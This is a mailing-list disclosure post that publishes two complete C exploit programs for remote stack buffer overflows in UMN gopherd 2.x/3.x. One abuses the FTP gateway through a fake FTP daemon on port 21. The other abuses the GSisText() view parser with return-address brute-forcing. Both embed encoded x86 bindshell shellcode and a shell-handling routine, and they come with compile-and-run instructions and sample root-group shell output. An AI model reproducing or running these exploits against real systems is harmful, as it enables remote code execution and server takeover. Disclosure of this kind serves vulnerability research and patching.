UMN gopherd[2.x.x/3.x.x]: ftp gateway, and GSisText() buffer overflow exploits.

From: Vade 79 (v9_at_fakehalo.deadpig.org)
Date: 07/12/03

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    bordom/fun audit time...

    been awhile since i did an audit of UMN(University of Minnesota) gopherd+
    daemon. figured i would check out the newer v3.0.x series, which has
    cleaned up the past security issues... while the old issues are resolved,
    still a few leftovers. two exploits follow...

    original sources:
     http://fakehalo.deadpig.org/xgopherd2k3-ftp.c
     http://fakehalo.deadpig.org/xgopherd2k3-view.c

    --------------------- exploit: xgopherd2k3-ftp.c ---------------------

    /*[ UMN gopherd[2.x.x/3.x.x]: remote "ftp gateway" buffer overflow. ]*
     * *
     * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
     * *
     * three years since last audit, code is a little more secure. but, *
     * still found a few potentially exploitable situations. this *
     * exploits the "ftp gateway" feature of gopherd. the gateway is *
     * intended to act as a proxy of sorts. between the server, and the *
     * client. the bug occurs when gopherd attempts to read a ftp *
     * list(LIST), and strcpy()'s the filename without checking the *
     * length. an example would look like this(including where to put *
     * the shellcode at): *
     * *
     * "-rwxrwxrwx 1 <shellcode> root 1 Dec 31 23:59 <long string>" *
     * *
     * to exploit this, there needs to be a fake ftp daemon of sorts. *
     * and, do to the nature of gopherd's "ftp gateway" support, must be *
     * on port 21. which means this exploit needs to run as root. *
     * *
     * when exploiting this bug, it is made moderately easy by gopherd. *
     * because, the buffer that holds the string is 8192 bytes, and on *
     * the stack. meaning the amount of NOPs used can be around ~7500. *
     * *
     * requirements(general): *
     * gopherd must have "ftp gateway" support included on compile, *
     * this is true by default. but, the "--disable-ftp" configure *
     * option will make exploitation of this bug impossible. *
     * *
     * requirements(for this exploit): *
     * the server must be running linux/x86(what i made the exploit *
     * for). gopherd must be started in the root directory "/", *
     * running with the -c command line option, or started as non-root. *
     * any of those three situations will allow for successful *
     * exploitation. this does not mean it is impossible to exploit *
     * otherwise. but, gopherd will be in a chroot()'d state. and, as *
     * of the 2.4 kernel series, i have seen no such way to break *
     * chroot. if it is desired to still run code, even in a limited *
     * environment, simply change the shellcode to your likings. also, *
     * the exploit must be ran as root, to bind to port 21. *
     * *
     * bug location(gopher-3.0.5/gopherd/ftp.c): *
     * 1800:int *
     * 1801:GopherFile(FTP *ftp, char *buf, char *theName) *
     * 1802:{ *
     * ... *
     * 1805:char tmpName[256]; *
     * ... *
     * 1811:strcpy(tmpName, buf); *
     * *
     * vulnerable versions: *
     * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
     * v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
     * (it is assumed versions before 2.3.1 are vulnerable as well) *
     * *
     * tested on platforms(with no code changes/offsets): *
     * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
     * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
     * (tested on both v3.0.5, and v2.3.1 sources / no changes. this *
     * should apply to pretty much any generic linux, do to the amount *
     * of NOPs(~7500 bytes guessing room), and on the stack) *
     * *
     * example usage: *
     * # cc xgopherd2k3-ftp.c -o xgopherd2k3-ftp *
     * # ./xgopherd2k3-ftp localhost 127.0.0.1 *
     * [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
     * [*] "UMN gopherd remote ftp gateway buffer overflow" *
     * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
     * *
     * [*] target: localhost:70 - localhost: 127.0.0.1 - offset: 0xbff$ *
     * *
     * [*] starting ftp daemon. (background) *
     * [*] attempting to connect: localhost:70. *
     * [*] connected successfully: localhost:70. *
     * [?] +GOPHERD: "ftp://x:x@127.0.0.1". *
     * [*] ftp daemon connection established. *
     * [?] -FTPD: "SYST". *
     * [?] -FTPD: "USER x". *
     * [?] -FTPD: "PASS x". *
     * [?] -FTPD: "PORT 127,0,0,1,128,35". *
     * [?] -FTPD: "LIST -F". *
     * [?] +FTPD: "-rwxrwxrwx 1 <shellcode(7800)> root 1 Dec 31 23:59 $ *
     * [*] waiting for ftp daemon to finish. (ctrl-c if needed) *
     * [*] ftp daemon connection closed. *
     * [*] checking to see if the exploit was successful. *
     * [*] attempting to connect: localhost:45295. *
     * [*] successfully connected: localhost:45295. *
     * *
     * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2$ *
     * uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3$ *
     * *
     * note: when using your "local ip", do not make it 127.0.0.1, like *
     * in the example. it must be the ip you connect to the internet *
     * through. (not an local area network ip, or whatnot) *
     *********************************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/wait.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    /* change defines at will. (cept EIPSIZE, not recommended) */
    #define CODESIZE 7800 /* part of buf[8192]/stack. (~-350) */
    #define EIPSIZE 292 /* riding a fine line, don't make too big. */
    #define RETADDR 0xbfffe29b /* center of NOPs for me. (~+-3500) */
    #define TIMEOUT 10 /* connection timeout. (general) */

    /* globals. */
    static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
     "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
     "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
     "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
     "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
     "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
     "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
     "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
     "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
     "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
     "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
     "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
     "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
     "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
     "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
     "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
     "\x6e";
    char ftp_ip[64+1];
    unsigned short ftp_port=0;
    pid_t ftp_pid=0;
    /* return address offset. (arg3) */
    unsigned int offset_ra=0;

    /* functions. */
    char *geteip(void);
    char *getcode(void);
    unsigned short ftpd_read(int);
    void ftpd_handler(int,char *);
    void ftpd_list(char *,unsigned short);
    void ftpd(void);
    void gopher_connect(char *,unsigned short,char *);
    void getshell(char *,unsigned short);
    void printe(char *,short);

    /* signal handlers. */
    void sig_ctrlc_wait(){if(ftp_pid)kill(ftp_pid,9);}
    void sig_ctrlc_exit(){printe("ctrl-c abort.",1);}
    void sig_alarm(){printe("alarm/timeout hit.",1);}

    /* begin. */
    int main(int argc,char **argv){
     unsigned short gopher_port=70; /* default. */
     unsigned int i=0;
     char *gopher_host;
     printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
     "verflow exploit.\n[*] \"UMN gopherd remote ftp gatew"
     "ay buffer overflow\"\n[*] by: vade79/v9 v9@fakehalo."
     "deadpig.org (fakehalo)\n\n");
     if(argc<3){
      printf("[!] syntax: %s <hostname[:port]> <local/your"
      "_ip> [offset]\n\n",argv[0]);
      exit(1);
     }
     if(!(gopher_host=(char *)strdup(argv[1])))
      printe("main(): allocating memory failed",1);
     for(i=0;i<strlen(gopher_host);i++)
      if(gopher_host[i]==':')
       gopher_host[i]=0x0;
     if(index(argv[1],':'))
      gopher_port=atoi((char *)index(argv[1],':')+1);
     if(!gopher_port)
      gopher_port=70;
     if(argc>3)
      offset_ra=atoi(argv[3]);
     printf("[*] target: %s:%d - localhost: %s - offset: 0x%.8x(+"
     "%u)\n\n",gopher_host,gopher_port,argv[2],RETADDR,offset_ra);
     signal(SIGINT,sig_ctrlc_wait);
     signal(SIGALRM,sig_alarm);
     /* start ftpd, as a different process. */
     switch(ftp_pid=fork()){
      case -1:
       printe("fork() ftpd failure.",1);
       break;
      case 0:
       signal(SIGINT,SIG_DFL);
       ftpd();
       _exit(0);
       break;
      default:
       printf("[*] starting ftp daemon. (background)\n");
       break;
     }
     gopher_connect(gopher_host,gopher_port,argv[2]);
     /* gotta let the ftpd magic happen, plenty of time. */
     printf("[*] waiting for ftp daemon to finish. (ctrl-c if"
     " needed)\n");
     waitpid(ftp_pid,0,0);
     signal(SIGINT,sig_ctrlc_exit);
     getshell(gopher_host,45295); /* defined in shellcode. */
     printf("[!] exploit failed.\n");
     exit(0);
    }
    char *geteip(void){
     unsigned int i=0;
     char *buf;
     if(!(buf=(char *)malloc(EIPSIZE+1)))
      printe("ftpd_read(): allocating memory failed.",1);
     memset(buf,0x0,EIPSIZE+1);
     for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(RETADDR+offset_ra);}
     return(buf);
    }
    char *getcode(void){
     char *buf;
     if(!(buf=(char *)malloc(CODESIZE+1)))
      printe("getcode(): allocating memory failed",1);
     memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
     memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
     strlen(x86_exec));
     return(buf);
    }
    unsigned short ftpd_read(int sock){
     char *buf;
     if(!(buf=(char *)malloc(4096+1)))
      return(1);
     memset(buf,0x0,4096+1);
     if(read(sock,buf,4096)<1)
      return(1);
     ftpd_handler(sock,buf);
     return(0);
    }
    void ftpd_handler(int sock,char *buf){
     unsigned int addr1,addr2,addr3,addr4,port1,port2,i;
     /* clean up for display, changes nothing critical. */
     for(i=0;i<strlen(buf);i++)
      if(buf[i]=='\r'||buf[i]=='\n')
       buf[i]=0x0;
     if(strlen(buf)){
      printf("[?] -FTPD: \"%s\".\n",buf);
      if(!strncmp("SYST",buf,4))
       dprintf(sock,"215 UNIX Type: L8\n");
      else if(!strncmp("USER ",buf,5))
       dprintf(sock,"331 login ok.\n");
      else if(!strncmp("PASS ",buf,5))
       dprintf(sock,"230 access granted.\n");
      else if(!strncmp("PORT ",buf,5)){
       sscanf(buf,"PORT %u,%u,%u,%u,%u,%u",&addr1,&addr2,&addr3,
       &addr4,&port1,&port2);
       memset(ftp_ip,0x0,64+1);
       snprintf(ftp_ip,64,"%u.%u.%u.%u",addr1,addr2,addr3,addr4);
       ftp_port=((port1*256)+port2);
       dprintf(sock,"200 PORT command successful.\n");
      }
      else if(!strncmp("LIST",buf,4)){
       dprintf(sock,"150 Opening connection.\n");
       /* send the fake file list, the exploit itself. */
       if(strlen(ftp_ip)&&ftp_port)
        ftpd_list(ftp_ip,ftp_port);
       dprintf(sock,"226 Transfer complete.\n");
       sleep(1);
       /* nothing else of importance. */
       close(sock);
      }
     }
     return;
    }
    void ftpd_list(char *ip,unsigned short port){
     int sock;
     struct hostent *t;
     struct sockaddr_in s;
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     if((s.sin_addr.s_addr=inet_addr(ip))){
      if(!(t=gethostbyname(ip)))
       printe("couldn't resolve ftp_list hostname/ip.",1);
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("ftpd_list connection failed.",1);
     alarm(0);
     /* the exploit itself, what changes the EIP. */
     /* i just put the shellcode where the user/owner */
     /* of the file would normally go, goes into the */
     /* fat buf[8192] buffer, yummy. */
     printf("[?] +FTPD: \"-rwxrwxrwx 1 <shellcode(%u)> root "
     "1 Dec 31 23:59 <eip(%u)>\".\n",CODESIZE,EIPSIZE);
     dprintf(sock,"-rwxrwxrwx 1 %s root 1 Dec 31 23:59 %s\n",
     getcode(),geteip());
     sleep(1); /* not needed, safe call. */
     close(sock);
     return;
    }
    void ftpd(void){
     int ssock,sock,salen,so=1,i=0;
     struct sockaddr_in ssa,sa;
     ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     /* just incase used multiple times, good habit anyways. */
     setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
     /* not everywheres. */
    #ifdef SO_REUSEPORT
     setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
    #endif
     ssa.sin_family=AF_INET;
     /* must be default, gopherd limitations. :( */
     ssa.sin_port=htons(21);
     ssa.sin_addr.s_addr=INADDR_ANY;
     if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
      printe("could not bind socket, ftpd already running?",1);
     listen(ssock,1);
     bzero((char*)&sa,sizeof(struct sockaddr_in));
     /* some things i just don't see the reason for. :/ */
     salen=sizeof(sa);
     sock=accept(ssock,(struct sockaddr *)&sa,&salen);
     close(ssock); /* close server socket. */
     printf("[*] ftp daemon connection established.\n");
     /* welcome! */
     dprintf(sock,"220 FakeFTPD.\n");
     while(!i)
      i=ftpd_read(sock);
     close(sock);
     printf("[*] ftp daemon connection closed.\n");
     return;
    }
    void gopher_connect(char *hostname,unsigned short port,
    char *myip){
     int sock;
     struct hostent *t;
     struct sockaddr_in s;
     printf("[*] attempting to connect: %s:%d.\n",hostname,port);
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     if((s.sin_addr.s_addr=inet_addr(hostname))){
      if(!(t=gethostbyname(hostname)))
       printe("couldn't resolve gopher hostname.",1);
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("gopher connection failed.",1);
     alarm(0);
     printf("[*] connected successfully: %s:%d.\n",hostname,port);
     printf("[?] +GOPHERD: \"ftp://x:x@%s\".\n",myip);
     sleep(1); /* had problems, without a delay here. */
     dprintf(sock,"ftp://x:x@%s\n",myip);
     sleep(1); /* doesn't really matter, but to be safe. :/ */
     /* leave gopher socket open, for the duration. */
     return;
    }
    /* same getshell() routine as usual. */
    void getshell(char *hostname,unsigned short port){
     int sock,r;
     fd_set fds;
     char buf[4096+1];
     struct hostent *he;
     struct sockaddr_in sa;
     printf("[*] checking to see if the exploit was successful.\n");
     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
      printe("getshell(): socket() failed",0);
      return;
     }
     sa.sin_family=AF_INET;
     if((sa.sin_addr.s_addr=inet_addr(hostname))){
      if(!(he=gethostbyname(hostname))){
       printe("getshell(): couldn't resolve",0);
       return;
      }
      memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
      sizeof(sa.sin_addr));
     }
     sa.sin_port=htons(port);
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     printf("[*] attempting to connect: %s:%d.\n",
     hostname,port);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
      printf("[!] connection failed: %s:%d.\n",
      hostname,port);
      return;
     }
     alarm(0);
     printf("[*] successfully connected: %s:%d.\n\n",
     hostname,port);
     signal(SIGINT,SIG_IGN);
     write(sock,"uname -a;id\n",13);
     while(1){
      FD_ZERO(&fds);
      FD_SET(0,&fds);
      FD_SET(sock,&fds);
      if(select(sock+1,&fds,0,0,0)<1){
       printe("getshell(): select() failed",0);
       return;
      }
      if(FD_ISSET(0,&fds)){
       if((r=read(0,buf,4096))<1){
        printe("getshell(): read() failed",0);
        return;
       }
       if(write(sock,buf,r)!=r){
        printe("getshell(): write() failed",0);
        return;
       }
      }
      if(FD_ISSET(sock,&fds)){
       if((r=read(sock,buf,4096))<1)
        exit(0);
       write(1,buf,r);
      }
     }
     close(sock);
     return;
    }
    void printe(char *err,short e){
     printf("[!] %s\n",err);
     if(e){
      /* don't want to exit with ftpd still running. */
      if(ftp_pid)
       kill(ftp_pid,9);
      printf("[!] exploit failed.\n");
      exit(1);
     }
     return;
    }

    --------------------- exploit: xgopherd2k3-view.c ---------------------

    /*[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]*
     * *
     * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
     * *
     * three years since last audit, code is a little more secure. but, *
     * still found a few potentially exploitable situations. this *
     * exploits the GSisText() object function in gopherd. the function *
     * is used in determining view-type. the function does not check the *
     * length of the string, which is copied into a temporary 64 byte *
     * buffer. an example would look like this(including where to put the *
     * shellcode at): *
     * *
     * "g\t+<long string>\t1\n<shellcode(256 character max)>\n" *
     * *
     * to exploit this, the request must start with a h, 0, 4, 5, 9, s, I, *
     * or g. followed by a <tab>+<long string>. to have a place to put *
     * the shellcode, i appeneded a <tab>1, which makes gopherd wait for *
     * another line before actually doing the overflow. *
     * *
     * requirements(general): *
     * none. no option to disable this, hard-coded upon compile. *
     * *
     * requirements(for this exploit): *
     * the server must be running linux/x86(what i made the exploit for). *
     * gopherd must be started in the root directory "/", running with *
     * the -c command line option, or started as non-root. any of those *
     * three situations will allow for successful exploitation. this *
     * does not mean it is impossible to exploit otherwise. but, gopherd *
     * will be in a chroot()'d state. and, as of the 2.4 kernel series, *
     * i have seen no such way to break chroot. if it is desired to *
     * still run code, even in a limited environment, simply change the *
     * shellcode to your likings. *
     * *
     * bug location(gopher-3.0.5/object/GSgopherobj.c): *
     * 2088:boolean *
     * 2089:GSisText(GopherObj *gs, char *view) *
     * 2090:{ *
     * ... *
     * 2106:char viewstowage[64], *cp; *
     * 2108:strcpy(viewstowage, view); *
     * *
     * vulnerable versions: *
     * v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1), *
     * v2.3.1. (patch level 0 through 15/all 2.3.1 versions) *
     * (it is assumed versions before 2.3.1 are vulnerable as well) *
     * *
     * tested on platforms(with no code changes/offsets): *
     * RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 *
     * Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 *
     * (tested on both v3.0.5, and v2.3.1 sources / no changes) *
     * *
     * example usage: *
     * # cc xgopherd2k3-view.c -o xgopherd2k3-view *
     * # ./xgopherd2k3-view localhost *
     * [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit. *
     * [*] "UMN gopherd remote GSisText()/view buffer overflow" *
     * [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
     * *
     * [*] target: localhost:70 - brute: 0xbfffe000-0xbfffffff *
     * *
     * (. = 29 byte offset): ............................................ *
     * .................................................................. *
     * ................................................(hit shellcode!) *
     * *
     * Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
     * uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$ *
     ***********************************************************************/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    /* using brute force method, don't change values. */
    #define CODESIZE 256 /* big as it gets, or will fail. */
    #define EIPSIZE 128 /* 64 byte buffer, little overboard. :) */
    #define BASEADDR 0xbfffe000 /* starting address, should be ok. */
    #define ENDADDR 0xbfffffff /* address to stop at. */
    #define TIMEOUT 10 /* connection timeout. (general) */

    /* globals. */
    static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
     "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
     "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
     "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
     "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
     "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
     "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
     "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
     "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
     "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
     "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
     "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
     "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
     "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
     "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
     "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
     "\x6e";

    /* functions. */
    char *geteip(unsigned int);
    char *getcode(void);
    unsigned short gopher_connect(char *,unsigned short,
    unsigned int);
    void getshell(char *,unsigned short);
    void printe(char *,short);

    /* signal handlers. */
    void sig_ctrlc(){printe("aborted",1);}
    void sig_alarm(){printe("alarm/timeout hit",1);}

    /* begin. */
    int main(int argc,char **argv){
     unsigned short gopher_port=70; /* default. */
     unsigned int offset=0,i=0;
     char *gopher_host;
     printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
     "verflow exploit.\n[*] \"UMN gopherd remote GSisText("
     ")/view buffer overflow\"\n[*] by: vade79/v9 v9@fakeh"
     "alo.deadpig.org (fakehalo)\n\n");
     if(argc<2){
      printf("[!] syntax: %s <hostname[:port]>\n\n",argv[0]);
      exit(1);
     }
     if(!(gopher_host=(char *)strdup(argv[1])))
      printe("main(): allocating memory failed",1);
     for(i=0;i<strlen(gopher_host);i++)
      if(gopher_host[i]==':')
       gopher_host[i]=0x0;
     if(index(argv[1],':'))
      gopher_port=atoi((char *)index(argv[1],':')+1);
     if(!gopher_port)
      gopher_port=70;
     printf("[*] target: %s:%d - brute: 0x%.8x-0x%.8x\n\n",
     gopher_host,gopher_port,BASEADDR,ENDADDR);
     signal(SIGINT,sig_ctrlc);
     signal(SIGALRM,sig_alarm);
     fprintf(stderr,"(. = 29 byte offset): ");
     for(offset=0;(BASEADDR+offset)<ENDADDR;offset+=29){
      fprintf(stderr,(gopher_connect(gopher_host,gopher_port,
      offset)?"!":"."));
      getshell(gopher_host,45295); /* defined in shellcode. */
     }
     fprintf(stderr,"(brute force limit hit)\n");
     exit(0);
    }
    char *geteip(unsigned int offset){
     unsigned int i=0;
     char *buf;
     if(!(buf=(char *)malloc(EIPSIZE+1)))
      printe("ftpd_read(): allocating memory failed.",1);
     memset(buf,0x0,EIPSIZE+1);
     for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(BASEADDR+offset);}
     return(buf);
    }
    char *getcode(void){
     char *buf;
     if(!(buf=(char *)malloc(CODESIZE+1)))
      printe("getcode(): allocating memory failed",1);
     memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
     memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
     strlen(x86_exec));
     return(buf);
    }
    unsigned short gopher_connect(char *hostname,
    unsigned short port,unsigned int offset){
     int sock;
     struct hostent *t;
     struct sockaddr_in s;
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     if((s.sin_addr.s_addr=inet_addr(hostname))){
      if(!(t=gethostbyname(hostname))){
       close(sock);
       return(1);
      }
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s))){
      alarm(0);
      close(sock);
      return(1);
     }
     alarm(0);
     usleep(500000); /* had problems, without a delay here. */
     /* the exploit itself. */
     dprintf(sock,"g\t+%s\t1\n",geteip(offset)); /* 64 bytes. */
     dprintf(sock,"%s\n",getcode()); /* 256 bytes room. */
     usleep(500000);
     close(sock); /* done. */
     return(0);
    }
    /* same getshell() routine, a little modded for brute. */
    void getshell(char *hostname,unsigned short port){
     int sock,r;
     fd_set fds;
     char buf[4096+1];
     struct hostent *he;
     struct sockaddr_in sa;
     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
      return;
     sa.sin_family=AF_INET;
     if((sa.sin_addr.s_addr=inet_addr(hostname))){
      if(!(he=gethostbyname(hostname))){
       close(sock);
       return;
      }
      memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
      sizeof(sa.sin_addr));
     }
     sa.sin_port=htons(port);
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
      alarm(0);
      close(sock);
      return;
     }
     alarm(0);
     fprintf(stderr,"(hit shellcode!)\n\n");
     signal(SIGINT,SIG_IGN);
     write(sock,"uname -a;id\n",13);
     while(1){
      FD_ZERO(&fds);
      FD_SET(0,&fds);
      FD_SET(sock,&fds);
      if(select(sock+1,&fds,0,0,0)<1){
       printe("getshell(): select() failed",0);
       return;
      }
      if(FD_ISSET(0,&fds)){
       if((r=read(0,buf,4096))<1){
        printe("getshell(): read() failed",0);
        return;
       }
       if(write(sock,buf,r)!=r){
        printe("getshell(): write() failed",0);
        return;
       }
      }
      if(FD_ISSET(sock,&fds)){
       if((r=read(sock,buf,4096))<1)
        exit(0);
       write(1,buf,r);
      }
     }
     close(sock);
     return;
    }
    void printe(char *err,short e){
     fprintf(stderr,"(error: %s)\n",err);
     if(e)
      exit(1);
     return;
    }


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